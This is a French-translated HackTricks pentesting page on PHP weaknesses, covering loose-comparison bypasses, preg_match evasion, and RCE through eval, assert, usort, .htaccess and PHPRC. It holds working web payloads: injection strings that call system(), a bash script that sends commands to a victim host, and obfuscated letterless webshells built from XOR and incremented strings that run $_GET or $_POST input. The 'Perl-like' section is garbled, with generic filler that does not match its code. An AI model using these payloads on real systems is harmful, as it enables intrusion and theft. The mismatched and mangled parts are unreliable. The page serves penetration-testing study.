hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2023-09-04 14:17:55 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass Translated to French 2023-06-03 13:10:46 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to French 2023-06-03 13:10:46 +00:00
php-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00
README.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2023-09-04 14:17:55 +00:00

Astuces PHP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Emplacement courant des cookies :

Cela est également valable pour les cookies de phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Emplacements:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Contournement des comparaisons PHP

Comparaisons lâches / Conversion de type ( == )

Si == est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" ne compare que des valeurs transformées en un même type. Si vous souhaitez également comparer le type des données comparées, vous devez utiliser ===.

Tableaux de comparaison PHP : https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Une chaîne de caractères qui ne commence pas par un nombre est égale à un nombre
  • "0xAAAA" == "43690" -> True Les chaînes composées de nombres au format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres sont identiques (les nombres dans une chaîne sont interprétés comme des nombres)
  • "0e3264578" == 0 --> True Une chaîne de caractères commençant par "0e" et suivie de n'importe quoi sera égale à 0
  • "0X3264578" == 0X --> True Une chaîne de caractères commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
  • "0e12334" == "0" --> True C'est très intéressant car dans certains cas, vous pouvez contrôler la chaîne d'entrée "0" et certains contenus qui sont hachés et comparés à celle-ci. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hachées avec ce format ici : https://github.com/spaze/hashes
  • "X" == 0 --> True Toute lettre dans une chaîne est égale à l'entier 0

Plus d'informations sur https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

La conversion de type affecte également la fonction in_array() par défaut (vous devez définir le troisième argument sur true pour effectuer une comparaison stricte) :

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si cette fonction est utilisée pour toute vérification d'authentification (comme la vérification du mot de passe) et que l'utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide à la place d'une chaîne de caractères en tant que valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner cette vérification :

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

La même erreur se produit avec strcasecmp()

Conversion de type strict

Même si === est utilisé, il peut y avoir des erreurs qui rendent la comparaison vulnérable à la conversion de type. Par exemple, si la comparaison convertit les données en un type d'objet différent avant de les comparer :

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

La fonction preg_match() peut être utilisée pour valider l'entrée de l'utilisateur (elle vérifie si un mot/regex de la liste noire est présent dans l'entrée de l'utilisateur et si ce n'est pas le cas, le code peut continuer son exécution).

Contournement de la nouvelle ligne

Cependant, lors de la délimitation du début de l'expression régulière, preg_match() vérifie uniquement la première ligne de l'entrée de l'utilisateur, donc si vous parvenez à envoyer l'entrée sur plusieurs lignes, vous pourriez contourner cette vérification. Exemple :

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Pour contourner cette vérification, vous pouvez envoyer la valeur avec des sauts de ligne urlencodés (%0A) ou si vous pouvez envoyer des données JSON, envoyez-les sur plusieurs lignes :

{
"cmd": "cat /etc/passwd"
}

Trouvez un exemple ici: https://ramadistra.dev/fbctf-2019-rceservice

Contournement de l'erreur de longueur

(Ce contournement a été apparemment testé sur PHP 5.2.5 et je n'ai pas réussi à le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer à preg_match() une entrée très grande valide, il ne pourra pas la traiter et vous pourrez contourner la vérification. Par exemple, si elle met en liste noire un JSON, vous pourriez envoyer:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'

De : https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

Type Juggling pour l'obfuscation PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Exécution après redirection (EAR)

Si PHP redirige vers une autre page mais qu'aucune fonction die ou exit n'est appelée après que l'en-tête Location soit défini, PHP continue d'exécuter et d'ajouter les données au corps de la page :

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Plus de astuces

  • register_globals: Dans PHP < 4.1.1.1 ou si mal configuré, register_globals peut être actif (ou leur comportement est imité). Cela implique que dans les variables globales comme $_GET si elles ont une valeur par exemple $_GET["param"]="1234", vous pouvez y accéder via $param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser les variables qui sont utilisées dans le code.
  • Les cookies PHPSESSION du même domaine sont stockés au même endroit, donc si dans un domaine différents cookies sont utilisés dans différents chemins, vous pouvez faire en sorte qu'un chemin accède au cookie du chemin en définissant la valeur du cookie de l'autre chemin.
    De cette façon, si les deux chemins accèdent à une variable portant le même nom, vous pouvez faire en sorte que la valeur de cette variable dans le chemin 1 s'applique au chemin 2. Et ensuite, le chemin 2 considérera les variables du chemin 1 comme valides (en donnant au cookie le nom qui lui correspond dans le chemin 2).
  • Lorsque vous avez les noms d'utilisateur des utilisateurs de la machine. Vérifiez l'adresse : /~<NOM_UTILISATEUR> pour voir si les répertoires php sont activés.
  • LFI et RCE en utilisant des wrappers php

password_hash/password_verify

Ces fonctions sont généralement utilisées en PHP pour générer des hachages à partir de mots de passe et pour vérifier si un mot de passe est correct par rapport à un hachage.
Les algorithmes pris en charge sont : PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT est souvent identique à PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limite de taille en entrée de 72 octets. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72 octets seront utilisés :

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Contournement des en-têtes HTTP en abusant des erreurs PHP

Si une page PHP affiche des erreurs et renvoie une partie de l'entrée fournie par l'utilisateur, l'utilisateur peut faire en sorte que le serveur PHP renvoie un contenu suffisamment long pour que lorsqu'il essaie d'ajouter les en-têtes à la réponse, le serveur génère une erreur.
Dans le scénario suivant, l'attaquant a provoqué des erreurs importantes sur le serveur, et comme vous pouvez le voir à l'écran, lorsque PHP a essayé de modifier les informations d'en-tête, il n'a pas pu (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :

Exécution de code

system("ls");
`ls`;
shell_exec("ls");

Vérifiez ceci pour plus de fonctions PHP utiles

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Pour exécuter le code dans l'argument "replace", il est nécessaire d'avoir au moins une correspondance.
Cette option de preg_replace a été dépréciée à partir de PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Cette fonction en php vous permet d'exécuter du code écrit dans une chaîne de caractères afin de retourner vrai ou faux (et en fonction de cela, modifier l'exécution). Généralement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple :
assert("strpos($_GET['page']),'..') === false") --> Dans ce cas, pour obtenir une RCE, vous pourriez faire :

?page=a','NeVeR') === false and system('ls') and strpos('a

Vous devrez modifier la syntaxe du code, ajouter votre charge utile, puis la corriger à nouveau. Vous pouvez utiliser des opérations logiques telles que "et" ou "%26%26" ou "|". Notez que "ou" ou "||" ne fonctionnent pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.

Une autre option consiste à ajouter à la chaîne l'exécution de la commande : '.highlight_file('.passwd').'

Une autre option (si vous avez le code interne) consiste à modifier une variable pour altérer l'exécution : $file = "hola"

RCE via usort()

Cette fonction est utilisée pour trier un tableau d'éléments à l'aide d'une fonction spécifique.
Pour abuser de cette fonction :

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Vous pouvez également utiliser // pour commenter le reste du code.

Pour découvrir le nombre de parenthèses que vous devez fermer :

  • ?order=id;}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ';'). Il nous manque probablement une ou plusieurs parenthèses.
  • ?order=id);}// : nous obtenons un avertissement. Cela semble correct.
  • ?order=id));}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ')' i). Nous avons probablement trop de parenthèses fermantes.

RCE via .httaccess

Si vous pouvez uploader un .htaccess, vous pouvez configurer plusieurs choses et même exécuter du code (en configurant les fichiers avec l'extension .htaccess pour qu'ils puissent être exécutés).

Différentes coquilles .htaccess peuvent être trouvées ici

RCE via les variables d'environnement

Si vous trouvez une vulnérabilité qui vous permet de modifier les variables d'environnement en PHP (et une autre pour uploader des fichiers, bien que cela puisse être contourné avec plus de recherche), vous pouvez abuser de ce comportement pour obtenir une RCE.

  • LD_PRELOAD : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas, cela puisse ne pas fonctionner).
  • PHPRC : Indique à PHP où se trouve son fichier de configuration, généralement appelé php.ini. Si vous pouvez uploader votre propre fichier de configuration, utilisez PHPRC pour le pointer vers PHP. Ajoutez une entrée auto_prepend_file spécifiant un deuxième fichier uploadé. Ce deuxième fichier contient du code PHP normal, qui est ensuite exécuté par le runtime PHP avant tout autre code.
  1. Uploadez un fichier PHP contenant notre code de coquille
  2. Uploadez un deuxième fichier contenant une directive auto_prepend_file indiquant au préprocesseur PHP d'exécuter le fichier que nous avons uploadé à l'étape 1
  3. Définissez la variable PHPRC sur le fichier que nous avons uploadé à l'étape 2.

Analyse statique PHP

Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (à partir de ici) :

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si vous déboguez une application PHP, vous pouvez activer l'affichage des erreurs globalement dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redémarrer Apache : sudo systemctl restart apache2

Déobfuscation du code PHP

Vous pouvez utiliser le site web www.unphp.net pour déobfusquer le code PHP.

Enveloppes et protocoles PHP

Les enveloppes et protocoles PHP pourraient vous permettre de contourner les protections d'écriture et de lecture d'un système et de le compromettre. Pour plus d'informations, consultez cette page.

Xdebug RCE non authentifié

Si vous constatez que Xdebug est activé dans la sortie de phpconfig(), vous devriez essayer d'obtenir une RCE via https://github.com/nqxcode/xdebug-exploit

Variables variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

Exploitation de RCE en abusant de $_GET["a"]($_GET["b"])

Si vous pouvez créer un nouvel objet d'une classe arbitraire sur une page, vous pourriez être en mesure d'obtenir une RCE. Consultez la page suivante pour en savoir plus :

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Exécution de PHP sans lettres

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Utilisation d'octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

L'opérateur XOR (ou exclusif) est une opération logique qui est souvent utilisée en programmation pour effectuer des manipulations sur les bits. XOR renvoie vrai (1) si les deux bits en entrée sont différents, et faux (0) si les deux bits sont identiques.

En termes de sécurité informatique, XOR est souvent utilisé pour chiffrer et déchiffrer des données. Il peut être utilisé pour masquer des informations sensibles en les combinant avec une clé secrète. Le chiffrement XOR est considéré comme faible en termes de sécurité, car il est vulnérable à certaines attaques, telles que l'analyse fréquentielle.

Cependant, XOR peut également être utilisé de manière créative pour contourner certaines protections de sécurité. Par exemple, en utilisant XOR avec une valeur spécifique, il est possible de contourner les filtres de sécurité qui bloquent certains caractères ou motifs spécifiques.

En résumé, XOR est un outil puissant qui peut être utilisé à la fois pour la sécurité et pour contourner certaines protections. Cependant, il est important de comprendre ses limites et de l'utiliser de manière appropriée pour éviter les vulnérabilités.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Code shell XOR facile

Selon ce compte rendu, il est possible de générer un code shell XOR facile de cette manière :

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Donc, si vous pouvez exécuter du code PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du code PHP arbitraire :

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Pour une explication plus détaillée, consultez https://ctf-wiki.org/web/php/php/#preg_match

Shellcode XOR (à l'intérieur de eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl-like

Perl est un langage de programmation polyvalent et puissant qui offre de nombreuses fonctionnalités utiles pour le développement web. Dans cet article, nous allons explorer quelques astuces Perl-like que vous pouvez utiliser dans vos scripts PHP pour améliorer votre productivité et votre efficacité.

Variables spéciales

Perl offre plusieurs variables spéciales qui peuvent être très utiles lors de la manipulation de chaînes de caractères. Voici quelques-unes de ces variables et leur équivalent en PHP :

  • $@ : contient le dernier message d'erreur généré par une expression régulière.
  • $& : contient la partie de la chaîne qui correspond à la dernière expression régulière.
  • $1, $2, $3, ... : contiennent les parties correspondantes de la dernière expression régulière.

En utilisant ces variables spéciales, vous pouvez effectuer des opérations avancées sur les chaînes de caractères de manière plus concise et élégante.

Opérateurs de substitution

Perl propose également des opérateurs de substitution qui permettent de rechercher et de remplacer des parties d'une chaîne de caractères. Voici quelques exemples d'opérateurs de substitution Perl et leur équivalent en PHP :

  • s/regex/replacement/ : recherche la première occurrence d'une expression régulière dans une chaîne et la remplace par une autre chaîne.
  • s/regex/replacement/g : recherche toutes les occurrences d'une expression régulière dans une chaîne et les remplace par une autre chaîne.
  • s/regex/replacement/i : recherche la première occurrence d'une expression régulière dans une chaîne, en ignorant la casse, et la remplace par une autre chaîne.

Ces opérateurs de substitution sont très pratiques pour effectuer des modifications rapides et précises sur les chaînes de caractères.

Fonctions de manipulation de chaînes

Perl propose également de nombreuses fonctions de manipulation de chaînes qui peuvent être très utiles lors du traitement de données. Voici quelques exemples de fonctions Perl et leur équivalent en PHP :

  • length($string) : renvoie la longueur d'une chaîne de caractères.
  • substr($string, $start, $length) : extrait une sous-chaîne d'une chaîne de caractères.
  • index($string, $substring) : renvoie la position de la première occurrence d'une sous-chaîne dans une chaîne.
  • split($delimiter, $string) : divise une chaîne en un tableau de sous-chaînes en utilisant un délimiteur.

En utilisant ces fonctions de manipulation de chaînes, vous pouvez effectuer des opérations complexes sur les données de manière plus efficace.

Conclusion

En utilisant ces astuces Perl-like dans vos scripts PHP, vous pouvez améliorer votre productivité et votre efficacité lors du développement web. N'hésitez pas à les essayer et à les adapter à vos besoins spécifiques.

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥